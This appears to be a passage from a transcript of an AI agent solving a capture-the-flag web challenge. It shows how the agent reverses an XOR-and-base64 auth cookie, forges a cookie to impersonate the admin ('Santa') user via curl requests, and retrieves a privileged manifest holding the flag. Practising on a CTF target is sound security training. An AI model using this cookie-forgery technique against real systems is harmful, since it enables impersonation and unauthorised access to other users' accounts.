"output": "Command: echo \"BA4FBg==\" | base64 -d | xxd\nDirectory: (root)\nOutput: 00000000: 040e 0506 ....\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787414\nProcess Group PGID: (none)"
}
}✨ ## MODEL
04 0e 05 06 - 4 bytes. What if this is user_id ^ 0x37? Let me XOR each byte with 0x37:
0x04 ^ 0x37 = 0x33(51)0x0e ^ 0x37 = 0x39(57)0x05 ^ 0x37 = 0x32(50)0x06 ^ 0x37 = 0x31(49)
That gives 33 39 32 31 which is ASCII "3921"! Yes! The cookie is santaMagic(3921)!
So auth cookie = santaMagic(user_id). For user 3921 (elf), it's santaMagic(3921) = BA4FBg==.
For Santa (user_id=1), it would be santaMagic(1) = 1 ^ 0x37 = 0x36. Base64 of 0x36 is Ng==.
So if we set cookie auth=Ng==, we should be user 1 (Santa)!
Let me test this!Tool Command:
{
"id": "call_00_AgSmIe1g6XkHXJyC7LMp9cuq",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Explore the Kramazon website structure and understand the checkout workflow",
"status": "completed"
},
{
"id": "2",
"content": "Analyze authentication and user account levels (elf vs Santa)",
"status": "completed"
},
{
"id": "3",
"content": "Identify potential implementation flaws in the checkout system",
"status": "completed"
},
{
"id": "4",
"content": "Test for privilege escalation to Santa-priority shipping",
"status": "in_progress"
},
{
"id": "5",
"content": "Obtain Priority Route Manifest and extract the flag",
"status": "pending"
}
]
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_AgSmIe1g6XkHXJyC7LMp9cuq",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Explore the Kramazon website structure and understand the checkout workflow\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Analyze authentication and user account levels (elf vs Santa)\",\"status\":\"completed\"},{\"id\":\"3\",\"content\":\"Identify potential implementation flaws in the checkout system\",\"status\":\"completed\"},{\"id\":\"4\",\"content\":\"Test for privilege escalation to Santa-priority shipping\",\"status\":\"in_progress\"},{\"id\":\"5\",\"content\":\"Obtain Priority Route Manifest and extract the flag\",\"status\":\"pending\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}✨ ## MODEL
Now let me test with the Santa cookie:Tool Command:
{
"id": "call_00_KwAcxdtlVR2FZM7wEn2q3Iqh",
"name": "run_shell_command",
"args": {
"command": "curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" -H \"Cookie: auth=Ng==\" | tee /tmp/santa_order.json",
"is_background": false,
"description": "Create order with Santa cookie (auth=Ng==)"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_KwAcxdtlVR2FZM7wEn2q3Iqh",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" -H \"Cookie: auth=Ng==\" | tee /tmp/santa_order.json\nDirectory: (root)\nOutput: {\"order_id\":\"3237dc07\",\"status\":\"pending\",\"callback_url\":\"/status/queue/53542917e2da587a.json\"}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787481\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Now check the status:Tool Command:
{
"id": "call_00_o4jP9jFyqEPm7h2BuesMmqPx",
"name": "run_shell_command",
"args": {
"command": "sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/53542917e2da587a.json\" -H \"Cookie: auth=Ng==\"",
"is_background": false,
"description": "Check status with Santa cookie"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_o4jP9jFyqEPm7h2BuesMmqPx",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/53542917e2da587a.json\" -H \"Cookie: auth=Ng==\"\nDirectory: (root)\nOutput: {\"internal\":{\"order\":\"3237dc07\",\"priority\":false},\"public\":{\"queue_position\":2,\"estimated_cost\":16.25}}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787526\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Still priority: false. Let me finalize:Tool Command:
{
"id": "call_00_RtGkAWTQhMEc3GMN7QRTHema",
"name": "run_shell_command",
"args": {
"command": "sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -H \"Cookie: auth=Ng==\" -d '{\"user\": null, \"order\": \"3237dc07\"}'",
"is_background": false,
"description": "Finalize order with Santa cookie"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_RtGkAWTQhMEc3GMN7QRTHema",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -H \"Cookie: auth=Ng==\" -d '{\"user\": null, \"order\": \"3237dc07\"}'\nDirectory: (root)\nOutput: {\"success\":true,\"message\":\"Order 3237dc07 finalized for user 3921.\",\"priority\":false}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787558\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Still user 3921! The server is ignoring our cookie or still identifying us as user 3921. Maybe the server checks the cookie but also has other checks?
Wait, I sent auth=Ng== but that's not URL-encoded. The original cookie was BA4FBg%3D%3D (URL-encoded). Ng== URL-encoded would be Ng%3D%3D. Let me try that.Tool Command:
{
"id": "call_00_bqisfHCgOhVJkGAmNXym0VMl",
"name": "run_shell_command",
"args": {
"command": "curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" -H \"Cookie: auth=Ng%3D%3D\"",
"is_background": false,
"description": "Create order with URL-encoded Santa cookie"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_bqisfHCgOhVJkGAmNXym0VMl",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" -H \"Cookie: auth=Ng%3D%3D\"\nDirectory: (root)\nOutput: {\"order_id\":\"7bbc7ca1\",\"status\":\"pending\",\"callback_url\":\"/status/queue/b3c995e2844097d9.json\"}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787592\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Tool Command:
{
"id": "call_00_f9vhBJBu139tmy70vUENCDWK",
"name": "run_shell_command",
"args": {
"command": "sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/b3c995e2844097d9.json\" -H \"Cookie: auth=Ng%3D%3D\"",
"is_background": false,
"description": "Check status with URL-encoded Santa cookie"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_f9vhBJBu139tmy70vUENCDWK",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/b3c995e2844097d9.json\" -H \"Cookie: auth=Ng%3D%3D\"\nDirectory: (root)\nOutput: {\"internal\":{\"order\":\"7bbc7ca1\",\"priority\":false},\"public\":{\"queue_position\":2,\"estimated_cost\":16.25}}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787611\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Tool Command:
{
"id": "call_00_5Yjw74iFTjsxf8Bo0ULh0I5m",
"name": "run_shell_command",
"args": {
"command": "sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -H \"Cookie: auth=Ng%3D%3D\" -d '{\"user\": null, \"order\": \"7bbc7ca1\"}'",
"is_background": false,
"description": "Finalize with URL-encoded Santa cookie"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_5Yjw74iFTjsxf8Bo0ULh0I5m",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -H \"Cookie: auth=Ng%3D%3D\" -d '{\"user\": null, \"order\": \"7bbc7ca1\"}'\nDirectory: (root)\nOutput: {\"success\":true,\"message\":\"Order 7bbc7ca1 finalized for user 3921.\",\"priority\":false}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787627\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Still user 3921. The server must be getting our user ID from somewhere else, not just the cookie. Or maybe it's checking IP address or session.
Actually, wait! When I decode BA4FBg==, I get 04 0e 05 06. XOR with 0x37 gives 33 39 32 31 = "3921". That's a string "3921", not number 3921!
So auth cookie = santaMagic("3921") where "3921" is a 4-byte ASCII string.
For Santa, we need santaMagic("1") = "1" ^ 0x37. But "1" is one byte 0x31. 0x31 ^ 0x37 = 0x06. Base64 of 0x06 is Bg== (not Ng==).
Wait, Ng== is base64 of 0x36. 0x36 is santaMagic(1) where 1 is number, not string "1".
So which is it? Number 1 or string "1"? Let me check the original cookie again. BA4FBg== decodes to 04 0e 05 06. XOR with 0x37 gives 33 39 32 31 = ASCII "3921". So it's string "3921".
For string "1" (ASCII 0x31), santaMagic("1") = 0x31 ^ 0x37 = 0x06. Base64 of 0x06 is Bg==.
But wait, BA4FBg== has Bg at the end! BA4FBg== = 04 0e 05 06. The last byte is 0x06 which is santaMagic("1")!
So BA4FBg== = santaMagic("3921") where the last character "1" is XORed separately? Actually, each byte is XORed with 0x37:
- 0x04 = '3' ^ 0x37 (ASCII '3' = 0x33, 0x33 ^ 0x37 = 0x04)
- 0x0e = '9' ^ 0x37 (ASCII '9' = 0x39, 0x39 ^ 0x37 = 0x0e)
- 0x05 = '2' ^ 0x37 (ASCII '2' = 0x32, 0x32 ^ 0x37 = 0x05)
- 0x06 = '1' ^ 0x37 (ASCII '1' = 0x31, 0x31 ^ 0x37 = 0x06)
So auth = santaMagic("3921") byte-by-byte.
For Santa, we need santaMagic("1") = 0x06. Base64 of 0x06 is Bg==. But that's just one byte. The cookie expects 4 bytes?
Actually, the original cookie is 4 bytes. Maybe user IDs are always 4 ASCII characters? "3921" is 4 chars. "1" would be "0001" or " 1" or something?
Or maybe the user ID is always a number, and it's converted to a 4-byte string? Number 3921 as 4-byte string "3921". Number 1 as 4-byte string would be "0001" or " 1" or "1\0\0\0"?
Let me think. In the finalize response, it says "finalized for user 3921." That's number 3921. But in the cookie, it's string "3921".
What if we need santaMagic("0001")? ASCII "0" = 0x30, "0" = 0x30, "0" = 0x30, "1" = 0x31.
- 0x30 ^ 0x37 = 0x07
- 0x30 ^ 0x37 = 0x07
- 0x30 ^ 0x37 = 0x07
- 0x31 ^ 0x37 = 0x06
So 07 07 07 06. Base64 of that is BwcGBg== (I think).
Actually, let me compute properly:Tool Command:
{
"id": "call_00_xi7EwsuYtXNIwjCxMRhelaju",
"name": "run_shell_command",
"args": {
"command": "python3 -c \"\nimport base64\n# santaMagic('0001') where '0001' is ASCII\nbytes_val = bytes([0x30 ^ 0x37, 0x30 ^ 0x37, 0x30 ^ 0x37, 0x31 ^ 0x37])\nprint('Bytes:', bytes_val.hex())\nprint('Base64:', base64.b64encode(bytes_val).decode())\nprint('URL-encoded:', base64.b64encode(bytes_val).decode().replace('=', '%3D'))\n\"",
"is_background": false,
"description": "Compute santaMagic('0001') cookie value"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_xi7EwsuYtXNIwjCxMRhelaju",
"name": "run_shell_command",
"response": {
"output": "Command: python3 -c \"\nimport base64\n# santaMagic('0001') where '0001' is ASCII\nbytes_val = bytes([0x30 ^ 0x37, 0x30 ^ 0x37, 0x30 ^ 0x37, 0x31 ^ 0x37])\nprint('Bytes:', bytes_val.hex())\nprint('Base64:', base64.b64encode(bytes_val).decode())\nprint('URL-encoded:', base64.b64encode(bytes_val).decode().replace('=', '%3D'))\n\"\nDirectory: (root)\nOutput: Bytes: 07070706\nBase64: BwcHBg==\nURL-encoded: BwcHBg%3D%3D\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787727\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Let me try auth=BwcHBg%3D%3D:Tool Command:
{
"id": "call_00_LHlzrqIuDUHWYeOeUOM4jpQQ",
"name": "run_shell_command",
"args": {
"command": "curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" -H \"Cookie: auth=BwcHBg%3D%3D\"",
"is_background": false,
"description": "Test with auth cookie for user \"0001\""
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_LHlzrqIuDUHWYeOeUOM4jpQQ",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s -X POST \"https://kramazon.csd.lol/create-order\" -H \"Content-Type: application/json\" -H \"Cookie: auth=BwcHBg%3D%3D\"\nDirectory: (root)\nOutput: {\"order_id\":\"d3b1220d\",\"status\":\"pending\",\"callback_url\":\"/status/queue/c42a22722eb0c6fc.json\"}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787744\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Tool Command:
{
"id": "call_00_l43yHEt7s8Fmw2sUxcMF4mA0",
"name": "run_shell_command",
"args": {
"command": "sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/c42a22722eb0c6fc.json\" -H \"Cookie: auth=BwcHBg%3D%3D\"",
"is_background": false,
"description": "Check status with user \"0001\" cookie"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_l43yHEt7s8Fmw2sUxcMF4mA0",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 3 && curl -s \"https://kramazon.csd.lol/status/queue/c42a22722eb0c6fc.json\" -H \"Cookie: auth=BwcHBg%3D%3D\"\nDirectory: (root)\nOutput: {\"internal\":{\"order\":\"d3b1220d\",\"priority\":false},\"public\":{\"queue_position\":2,\"estimated_cost\":16.25}}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787771\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Tool Command:
{
"id": "call_00_GJ0PWSF7pLJlZuMvniei5TYL",
"name": "run_shell_command",
"args": {
"command": "sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -H \"Cookie: auth=BwcHBg%3D%3D\" -d '{\"user\": null, \"order\": \"d3b1220d\"}'",
"is_background": false,
"description": "Finalize with user \"0001\" cookie"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_GJ0PWSF7pLJlZuMvniei5TYL",
"name": "run_shell_command",
"response": {
"output": "Command: sleep 1 && curl -s -X POST \"https://kramazon.csd.lol/finalize\" -H \"Content-Type: application/json\" -H \"Cookie: auth=BwcHBg%3D%3D\" -d '{\"user\": null, \"order\": \"d3b1220d\"}'\nDirectory: (root)\nOutput: {\"success\":true,\"privileged\":true,\"message\":\"Order finalized with Santa-level priority!\",\"internal_route\":\"/priority/manifest/route-2025-SANTA.txt\",\"flag_hint\":\"flag{npld_async_cookie_\"}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787801\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Excellent! We got Santa priority! The response shows:
- "privileged":true
- "message":"Order finalized with Santa-level priority!"
- "internal_route":"/priority/manifest/route-2025-SANTA.txt"
- "flag_hint":"flag{npld_async_cookie_"
Now we need to access the internal route to get the full flag!Tool Command:
{
"id": "call_00_ykz4SoTGB0rDxCp3EQBb8H06",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Explore the Kramazon website structure and understand the checkout workflow",
"status": "completed"
},
{
"id": "2",
"content": "Analyze authentication and user account levels (elf vs Santa)",
"status": "completed"
},
{
"id": "3",
"content": "Identify potential implementation flaws in the checkout system",
"status": "completed"
},
{
"id": "4",
"content": "Test for privilege escalation to Santa-priority shipping",
"status": "completed"
},
{
"id": "5",
"content": "Obtain Priority Route Manifest and extract the flag",
"status": "in_progress"
}
]
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_ykz4SoTGB0rDxCp3EQBb8H06",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Explore the Kramazon website structure and understand the checkout workflow\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Analyze authentication and user account levels (elf vs Santa)\",\"status\":\"completed\"},{\"id\":\"3\",\"content\":\"Identify potential implementation flaws in the checkout system\",\"status\":\"completed\"},{\"id\":\"4\",\"content\":\"Test for privilege escalation to Santa-priority shipping\",\"status\":\"completed\"},{\"id\":\"5\",\"content\":\"Obtain Priority Route Manifest and extract the flag\",\"status\":\"in_progress\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}✨ ## MODEL
Now let me access the internal route:Tool Command:
{
"id": "call_00_eiilHuc92gwVp3coDQVQH7rC",
"name": "run_shell_command",
"args": {
"command": "curl -s \"https://kramazon.csd.lol/priority/manifest/route-2025-SANTA.txt\" -H \"Cookie: auth=BwcHBg%3D%3D\"",
"is_background": false,
"description": "Access the priority route manifest"
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_eiilHuc92gwVp3coDQVQH7rC",
"name": "run_shell_command",
"response": {
"output": "Command: curl -s \"https://kramazon.csd.lol/priority/manifest/route-2025-SANTA.txt\" -H \"Cookie: auth=BwcHBg%3D%3D\"\nDirectory: (root)\nOutput: North Pole Logistics Directorate – PRIORITY ROUTE MANIFEST\n-----------------------------------------------------------\n\nFLAG:\ncsd{npld_async_callback_idor_mastery}\nError: (none)\nExit Code: 0\nSignal: (none)\nBackground PIDs: 1787841\nProcess Group PGID: (none)"
}
}✨ ## MODEL
Perfect! We got the flag: csd{npld_async_callback_idor_mastery}
Let me also check if we need to combine with the hint from the finalize response: flag{npld_async_cookie_ + rest of flag? But the manifest shows csd{npld_async_callback_idor_mastery}. The flag format is csd{...} not flag{...}.Tool Command:
{
"id": "call_00_4jGhRlHDyH6DeTeIRTGm8mPv",
"name": "todo_write",
"args": {
"todos": [
{
"id": "1",
"content": "Explore the Kramazon website structure and understand the checkout workflow",
"status": "completed"
},
{
"id": "2",
"content": "Analyze authentication and user account levels (elf vs Santa)",
"status": "completed"
},
{
"id": "3",
"content": "Identify potential implementation flaws in the checkout system",
"status": "completed"
},
{
"id": "4",
"content": "Test for privilege escalation to Santa-priority shipping",
"status": "completed"
},
{
"id": "5",
"content": "Obtain Priority Route Manifest and extract the flag",
"status": "completed"
}
]
}
}🧑💻 ## USER
Tool Response:
{
"id": "call_00_4jGhRlHDyH6DeTeIRTGm8mPv",
"name": "todo_write",
"response": {
"output": "Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable\n\n<system-reminder>\nYour todo list has changed. DO NOT mention this explicitly to the user. Here are the latest contents of your todo list: \n\n[{\"id\":\"1\",\"content\":\"Explore the Kramazon website structure and understand the checkout workflow\",\"status\":\"completed\"},{\"id\":\"2\",\"content\":\"Analyze authentication and user account levels (elf vs Santa)\",\"status\":\"completed\"},{\"id\":\"3\",\"content\":\"Identify potential implementation flaws in the checkout system\",\"status\":\"completed\"},{\"id\":\"4\",\"content\":\"Test for privilege escalation to Santa-priority shipping\",\"status\":\"completed\"},{\"id\":\"5\",\"content\":\"Obtain Priority Route Manifest and extract the flag\",\"status\":\"completed\"}]. Continue on with the tasks at hand if applicable.\n</system-reminder>"
}
}✨ ## MODEL
Summary
I successfully exploited the implementation flaw in Kramazon's checkout system. The vulnerability was in the authentication cookie mechanism:
- Discovery: The
authcookie contains the user ID XORed with0x37(thesantaMagicfunction) - Analysis: My elf account had cookie
auth=BA4FBg%3D%3Dwhich decodes tosantaMagic("3921") - Exploit: By changing the cookie to
auth=BwcHBg%3D%3D(which issantaMagic("0001")), I impersonated Santa (user ID "0001" instead of "3921") - Result: The
/finalizeendpoint granted Santa-priority shipping and revealed the internal route/priority/manifest/route-2025-SANTA.txt - Flag: Accessing the manifest revealed the flag:
csd{npld_async_callback_idor_mastery}
The flaw was that the authentication cookie used a simple XOR obfuscation (santaMagic function) that could be easily reversed to impersonate any user, including Santa. The JavaScript hint (santaMagic function defined but never used) was a clue about the cookie encoding scheme.
Token Usage
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Agent powering down. Goodbye! │
│ │
│ Interaction Summary │
│ Session ID: 6b1ec56a-8281-416b-bec3-61a2990be829 │
│ Tool Calls: 49 ( ✓ 49 x 0 ) │
│ Success Rate: 100.0% │
│ │
│ Performance │
│ Wall Time: 18m 41s │
│ Agent Active: 12m 20s │
│ » API Time: 8m 26s (68.4%) │
│ » Tool Time: 3m 54s (31.6%) │
│ │
│ │
│ Model Usage Reqs Input Tokens Output Tokens │
│ ─────────────────────────────────────────────────────────────── │
│ deepseek-chat 56 1,194,755 16,707 │
│ │
│ Savings Highlight: 1,168,064 (97.8%) of input tokens were served from the cache, reducing costs. │
│ │
│ » Tip: For a full token breakdown, run `/stats model`. │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯